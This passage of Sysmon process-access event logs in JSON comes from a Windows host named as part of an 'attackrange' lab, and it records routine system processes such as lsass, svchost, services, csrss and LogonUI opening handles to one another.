11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1c030|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1c030|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1116\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1116","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nSourceProcessId: 1092\r\nSourceThreadId: 1360\r\nSourceImage: C:\\Windows\\system32\\LogonUI.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\logoncontroller.dll+2dfb5|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","SourceProcessId":"1092","SourceThreadId":"1360","SourceImage":"C:\\Windows\\system32\\LogonUI.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\logoncontroller.dll+2dfb5|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 